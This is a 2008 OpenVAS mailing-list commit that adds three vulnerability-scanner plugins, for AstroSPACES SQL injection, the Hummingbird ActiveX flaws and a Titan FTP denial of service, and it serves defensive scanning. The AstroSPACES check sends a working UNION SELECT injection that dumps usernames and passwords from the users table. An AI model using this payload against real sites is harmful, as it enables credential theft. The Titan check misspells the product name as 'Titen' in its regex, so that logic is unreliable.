Author: chandra
Date: 2008-10-23 14:16:10 +0200 (Thu, 23 Oct 2008)
New Revision: 1602
Added:
trunk/openvas-plugins/scripts/gb_astrospace_sql_inj_vuln.nasl
trunk/openvas-plugins/scripts/secpod_hummingbird_deployment_activex_cntl_mul_vuln_900161.nasl
trunk/openvas-plugins/scripts/secpod_titan_ftp_server_cmd_processing_dos_vuln_900160.nasl
Modified:
trunk/openvas-plugins/ChangeLog
Log:
Added new plugins
Modified: trunk/openvas-plugins/ChangeLog
===================================================================
--- trunk/openvas-plugins/ChangeLog 2008-10-22 13:17:54 UTC (rev 1601)
+++ trunk/openvas-plugins/ChangeLog 2008-10-23 12:16:10 UTC (rev 1602)
@@ -1,3 +1,12 @@
+2008-10-23 Chandrashekhar B <[EMAIL PROTECTED]>
+ * scripts/gb_astrospace_sql_inj_vuln.nasl:
+ Added new plugin
+
+2008-10-23 Chandrashekhar B <[EMAIL PROTECTED]>
+ * scripts/secpod_titan_ftp_server_cmd_processing_dos_vuln_900160.nasl,
+
scripts/secpod_hummingbird_deployment_activex_cntl_mul_vuln_900161.nasl:
+ Added new plugins
+
2008-10-22 Chandrashekhar B <[EMAIL PROTECTED]>
* scripts/gb_vlc_media_player_ty_bof_vuln_win.nasl,
scripts/gb_vlc_media_player_ty_bof_vuln_lin.nasl,
Added: trunk/openvas-plugins/scripts/gb_astrospace_sql_inj_vuln.nasl
===================================================================
--- trunk/openvas-plugins/scripts/gb_astrospace_sql_inj_vuln.nasl
2008-10-22 13:17:54 UTC (rev 1601)
+++ trunk/openvas-plugins/scripts/gb_astrospace_sql_inj_vuln.nasl
2008-10-23 12:16:10 UTC (rev 1602)
@@ -0,0 +1,112 @@
+###############################################################################
+# OpenVAS Vulnerability Test
+# $Id: gb_astrospace_sql_inj_vuln.nasl 371 2008-10-22 16:35:52Z oct $
+#
+# AstroSPACES profile.php SQL Injection Vulnerability
+#
+# Authors:
+# Veerendra GG <[EMAIL PROTECTED]>
+#
+# Copyright:
+# Copyright (c) 2008 Intevation GmbH, http://www.intevation.net
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License version 2
+# (or any later version), as published by the Free Software Foundation.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+###############################################################################
+
+if(description)
+{
+ script_id(800118);
+ script_version("$Revision: 1.0 $");
+ script_cve_id("CVE-2008-4642");
+ script_bugtraq_id(31771);
+ script_name(english:"AstroSPACES profile.php SQL Injection Vulnerability");
+ desc["english"] = "
+
+ Overview: The host is running AstroSPACES, and is prone to SQL Injection
+ Vulnerability.
+
+ Vulnerability Insight:
+ The flaw is caused due to input passed to the id parameter in profile.php
+ file is not properly sanitised before being used in SQL queries.
+
+ Impact:
+ Successful attack could lead to application compromise or access
+ or modify the data.
+
+ Impact Level: Application
+
+ Affected Software/OS:
+ AstroSPACES 1.1.1 and prior on all running platform.
+
+ Fix: No solution/patch is available as on 22nd October, 2008. Information
+ regarding this issue will updated once the solution details are available.
+ For updates refer, http://sourceforge.net/projects/astrospaces/
+
+ References:
+ http://secunia.com/advisories/32290
+ http://www.milw0rm.com/exploits/6758
+
+ CVSS Score:
+ CVSS Base Score : 7.5 (AV:N/AC:L/Au:NR/C:P/I:P/A:P)
+ CVSS Temporal Score : 6.7
+ Risk factor: High";
+
+ script_description(english:desc["english"]);
+ script_summary(english:"Check for the SQL Injection attack on AstroSPACES");
+ script_category(ACT_ATTACK);
+ script_copyright(english:"Copyright (C) 2008 Intevation GmbH");
+ script_family(english:"CGI abuses");
+ script_require_ports("Services/www", 80);
+ exit(0);
+}
+
+
+include("http_func.inc");
+include("http_keepalive.inc");
+
+port = get_http_port(default:80);
+if(!port){
+ exit(0);
+}
+
+dirs = make_list("/astrospaces", cgi_dirs());
+
+foreach dir (dirs)
+{
+ url = dir + "/index.php";
+ sndReq = http_get(item:url, port:port);
+ rcvRes = http_keepalive_send_recv(port:port, data:sndReq, bodyonly:1);
+
+ if(rcvRes == NULL){
+ exit(0);
+ }
+
+ if("Powered By AstroSPACES" >< rcvRes)
+ {
+ url = dir + "/profile.php?action=view&id=160+AND+1=0+UNION+SELECT+ALL+1," +
+ "group_concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12" +
+ ",13,14+from+users--";
+ sndReq = http_get(item:url, port:port);
+ rcvRes = http_keepalive_send_recv(port:port, data:sndReq, bodyonly:1);
+
+ if(rcvRes == NULL){
+ exit(0);
+ }
+
+ if(rcvRes =~ "<td>Username :</td>"){
+ security_hole(port);
+ }
+ exit(0);
+ }
+}
Property changes on:
trunk/openvas-plugins/scripts/gb_astrospace_sql_inj_vuln.nasl
___________________________________________________________________
Name: svn:executable
+ *
Added:
trunk/openvas-plugins/scripts/secpod_hummingbird_deployment_activex_cntl_mul_vuln_900161.nasl
===================================================================
---
trunk/openvas-plugins/scripts/secpod_hummingbird_deployment_activex_cntl_mul_vuln_900161.nasl
2008-10-22 13:17:54 UTC (rev 1601)
+++
trunk/openvas-plugins/scripts/secpod_hummingbird_deployment_activex_cntl_mul_vuln_900161.nasl
2008-10-23 12:16:10 UTC (rev 1602)
@@ -0,0 +1,143 @@
+##############################################################################
+#
+# Hummingbird Deployment Wizard ActiveX Control Multiple Security
Vulnerabilities
+#
+# Copyright: SecPod
+#
+# Date Written: 2008/10/21
+#
+# Revision: 1.1
+#
+# Log : ssharath
+# Issue #0367
+# ------------------------------------------------------------------------
+# This program was written by SecPod and is licensed under the GNU GPL
+# license. Please refer to the below link for details,
+# http://www.gnu.org/licenses/gpl.html
+# This header contains information regarding licensing terms under the GPL,
+# and information regarding obtaining source code from the Author.
+# Consequently, pursuant to section 3(c) of the GPL, you must accompany the
+# information found in this header with any distribution you make of this
+# Program.
+# ------------------------------------------------------------------------
+##############################################################################
+
+if(description)
+{
+ script_id(900161);
+ script_bugtraq_id(31799);
+ script_copyright(english:"Copyright (C) 2008 SecPod");
+ script_version("Revision: 1.0");
+ script_category(ACT_GATHER_INFO);
+ script_family(english:"Denial of Service");
+ script_name(english:"Hummingbird Deployment Wizard ActiveX Control Multiple
Security Vulnerabilities");
+ script_summary(english:"Check for vulnerable version of Deployment Wizard
ActiveX Control");
+ desc["english"] = "
+ Overview : This host is installed with Deployment Wizard ActiveX Control and
+ is prone to multiple security vulnerabilities.
+
+ The multiple flaws are due to error in 'SetRegistryValueAsString()',
+ 'Run()' and 'PerformUpdateAsync()' methods in DeployRun.DeploymentSetup.1
+ (DeployRun.dll) ActiveX control.
+
+ Impact :
+ Successful exploitation allows execution of arbitrary code.
+
+ Impact Level : Application
+
+ Affected Software/OS:
+ Hummingbird Deployment Wizard version 10.0.0.44 and prior on Windows (all)
+
+ Fix : Set the kill-bit for the affected ActiveX control.
+ No patch is available as on 21th October, 2008.
+
+ References :
+ http://secunia.com/advisories/32337
+ http://www.frsirt.com/english/advisories/2008/2857
+
+ CVSS Score :
+ CVSS Base Score : 6.8 (AV:N/AC:M/Au:NR/C:P/I:P/A:P)
+ CVSS Temporal Score : 6.1
+ Risk factor : High";
+
+ script_description(english:desc["english"]);
+ script_dependencies("secpod_reg_enum.nasl");
+ script_require_keys("SMB/WindowsVersion");
+ exit(0);
+}
+
+include("secpod_smb_func.inc");
+
+if(!get_kb_item("SMB/WindowsVersion")){
+ exit(0);
+}
+
+wizPath = registry_get_sz(key:"SOFTWARE\Hummingbird\Deployment Wizard",
+ item:"HomeDir");
+if(!wizPath){
+ exit(0);
+}
+
+share = ereg_replace(pattern:"([A-Z]):.*",replace:"\1$",string:wizPath);
+file = ereg_replace(pattern:"[A-Z]:(.*)",replace:"\1",string:wizPath +
+ "DeployPkgShell.exe");
+
+soc = open_sock_tcp(port);
+if(!soc){
+ exit(0);
+}
+
+r = smb_session_request(soc:soc, remote:name);
+if(!r){
+ close(soc);
+ exit(0);
+}
+
+prot = smb_neg_prot(soc:soc);
+if(!prot){
+ close(soc);
+ exit(0);
+}
+
+r = smb_session_setup(soc:soc, login:login, password:pass, domain:domain,
+ prot:prot);
+if(!r){
+ close(soc);
+ exit(0);
+}
+
+uid = session_extract_uid(reply:r);
+if(!uid){
+ close(soc);
+ exit(0);
+}
+
+r = smb_tconx(soc:soc, name:name, uid:uid, share:share);
+if(!r){
+ close(soc);
+ exit(0);
+}
+
+tid = tconx_extract_tid(reply:r);
+if(!tid){
+ close(soc);
+ exit(0);
+}
+
+fid = OpenAndX(socket:soc, uid:uid, tid:tid, file:file);
+if(!fid){
+ close(soc);
+ exit(0);
+}
+
+wizVer = GetVersion(socket:soc, uid:uid, tid:tid, fid:fid, offset:1735500);
+close(soc);
+
+if(wizVer)
+{
+ # Grep for version < 10.0.0.44
+
if(ereg(pattern:"^[0-9](\..*)|10(\.0(\.0(\.[0-3]?[0-9]|\.4[0-4])?)?)($|[^.0-9])",
+ string:wizVer)){
+ security_hole(0);
+ }
+}
Added:
trunk/openvas-plugins/scripts/secpod_titan_ftp_server_cmd_processing_dos_vuln_900160.nasl
===================================================================
---
trunk/openvas-plugins/scripts/secpod_titan_ftp_server_cmd_processing_dos_vuln_900160.nasl
2008-10-22 13:17:54 UTC (rev 1601)
+++
trunk/openvas-plugins/scripts/secpod_titan_ftp_server_cmd_processing_dos_vuln_900160.nasl
2008-10-23 12:16:10 UTC (rev 1602)
@@ -0,0 +1,90 @@
+##############################################################################
+#
+# Titan FTP Server 'SITE WHO' Command Remote DoS Vulnerability
+#
+# Copyright: SecPod
+#
+# Date Written: 2008/10/21
+#
+# Revision: 1.1
+#
+# Log : ssharath
+# Issue #0357
+# ------------------------------------------------------------------------
+# This program was written by SecPod and is licensed under the GNU GPL
+# license. Please refer to the below link for details,
+# http://www.gnu.org/licenses/gpl.html
+# This header contains information regarding licensing terms under the GPL,
+# and information regarding obtaining source code from the Author.
+# Consequently, pursuant to section 3(c) of the GPL, you must accompany the
+# information found in this header with any distribution you make of this
+# Program.
+# ------------------------------------------------------------------------
+##############################################################################
+
+if(description)
+{
+ script_id(900160);
+ script_bugtraq_id(31757);
+ script_copyright(english:"Copyright (C) 2008 SecPod");
+ script_version("Revision: 1.1 ");
+ script_category(ACT_GATHER_INFO);
+ script_family(english:"Denial of Service");
+ script_name(english:"Titan FTP Server 'SITE WHO' Command Remote DoS
Vulnerability");
+ script_summary(english:"Check for vulnerable version of Titan FTP Server");
+ desc["english"] = "
+ Overview : The host is running Titan FTP Server and is prone to denial of
+ service vulnerability.
+
+ The flaw is caused due to error in the 'SITE WHO' command processing, which
+ can be exploited to exhaust available CPU resources.
+
+ Impact :
+ Successful exploitation will cause denial of service.
+
+ Impact Level : Application
+
+ Affected Software/OS :
+ South River Technologies Titan FTP Server versions prior to 6.26.631
+
+ Fix : Update to version 6.26.631 or later
+ http://www.titanftp.com/download/index.html
+
+ References :
+ http://milw0rm.com/exploits/6753
+ http://secunia.com/advisories/32269/
+
+ CVSS Score :
+ CVSS Base Score : 6.3 (AV:N/AC:M/Au:SI/C:N/I:N/A:C)
+ CVSS Temporal Score : 4.9
+ Risk factor : Medium";
+
+ script_description(english:desc["english"]);
+ script_dependencie("find_service.nes");
+ script_require_ports("Services/ftp", 21);
+ exit(0);
+}
+
+include("ftp_func.inc");
+
+port = get_kb_item("Services/ftp");
+if(!port){
+ port = 21;
+}
+
+if(!get_port_state(port)){
+ exit(0);
+}
+
+banner = get_ftp_banner(port:port);
+if("Titan FTP Server" >< banner)
+{
+ # Grep versions prior to 6.26.631
+ if(egrep(pattern:"Titen FTP Server ([0-5](\..*)|6(\.[01]?[0-9]|\.2[0-6])" +
+ "(\.[0-5]?[0-9]?[0-9]?|\.6[0-2][0-9]|\.630))($|[^.0-9])",
+ string:banner))
+ {
+ security_warning(port);
+ exit(0);
+ }
+}
_______________________________________________
Openvas-commits mailing list
[email protected]
http://lists.wald.intevation.org/mailman/listinfo/openvas-commits
